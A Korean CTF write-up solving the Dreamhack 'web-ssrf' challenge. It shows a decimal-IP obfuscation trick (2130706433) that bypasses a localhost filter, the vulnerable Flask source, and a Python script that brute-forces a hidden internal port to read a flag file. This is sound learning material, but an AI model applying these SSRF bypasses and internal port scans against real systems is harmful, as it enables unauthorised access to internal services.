[Dreamhack Web - Lv 2] web-ssrf

문제 정보

flask로 작성된 image viewer 서비스 입니다.

SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다.

풀이 힌트

1. 소스코드 분석

2. IP 난독화

IP 난독화 참고 사이트 : http://www.reversenote.info/ip-opfuscate/

문제 풀이

더보기
더보기

문제 페이지를 확인하니, Image Viewer 기능만 있었다.

 

들어가서 확인하니, 서버 내 리소스의 url를 넘겨주면 이미지 파일로 출력해주는 기능인 듯 싶었다.

 

http://localhost:8000/static/dream.png

한번 문제 페이지의 url를 넣어서 이미지 파일을 요청해보니, Not Found X라는 문구를 가진 이미지가 출력됐다.

 

/flag.txt

이번엔 flag.txt 파일을 호출해봤는데, 깨진 이미지가 출력됐다.

 

깨진 이미지의 값이 Base64로 이루어져 있어서 디코딩한 결과 404 Not Found가 출력됐다.

 

여기까지 확인해본 결과 입력값에 대한 검증이 있으며, 검증을 통과를 못하면 Not Found X 문구의 이미지가 출력되는 듯 싶었다.

 

필터링 항목

  • 127.0.0.1
  • localhost

알아낸 필터링 항목은 2개였다.

 

def opfuscate(ip):
    octets = ["%02x" % int(num) for num in ip.split(".")]

    result = "%d" % int("".join(octets), 16)
    return result


print(opfuscate("127.0.0.1"))

나는 필터링을 우회하기 위해 루프백 주소를 난독화하여 이미지를 다시 요청해봤다. 위 코드는 IP 주소를 난독화 시키는 코드이다.

 

http://2130706433:8000/static/dream.png

필터링을 간단하게 우회하여 이미지를 잘 요청하였다. 이제 flag.txt를 요청해봤다.

 

http://2130706433:8000/flag.txt

요청은 잘 되어지만 Not Found가 출력이 되었다....
한참을 도전하였지만 도저히 방법을 모르겠어서 코드를 다운 받아서 분석하였다.

 

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

코드를 보니, 예상대로 localhost와 127.0.0.1를 따로 검증하고 있었다.
신기한 점은 Flask 서버 말고도 포트가 1500 ~ 1800 사이에서 랜덤하게 뽑힌 값으로 HTTP 서버를 따로 생성하고 있다는 점이였다. 

 

파이썬으로 HTTP 서버의 포트를 찾은 다음 Image Viewer 페이지에서 HTTP 서버로 flag.txt를 호출해 보겠다.

 

import requests


def imgRequest(port):
    data = {"url": f"http://2130706433:{port}/flag.txt"}
    res = requests.post("http://host1.dreamhack.games:22990/img_viewer", data=data)

    if "iVBORw0KGgoAAAA" not in res.text:
        print(f"port : {port}")
        return True


if __name__ == "__main__":
    for i in range(1500, 1800 + 1):
        if imgRequest(i):
            quit()

무차별 대입 공격을 통해 찾은 포트는 1521번이였다.

 

http://2130706433:1521/flag.txt

해당 포트로 flag.txt를 요청하니 기존에 봤던 base64와 다른 것이 나왔다.

 

디코딩을 해보니, flag가 출력됐다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 2] Flask-Dev  (0) 2021.12.14
[Dreamhack Web - Lv 2] blind-command  (0) 2021.12.11
[Dreamhack Web - Lv 2] web-deserialize-python  (0) 2021.12.05
[Dreamhack Web - Lv 2] file-csp-1  (0) 2021.12.05
[Dreamhack Web - Lv 2] login-1  (0) 2021.12.05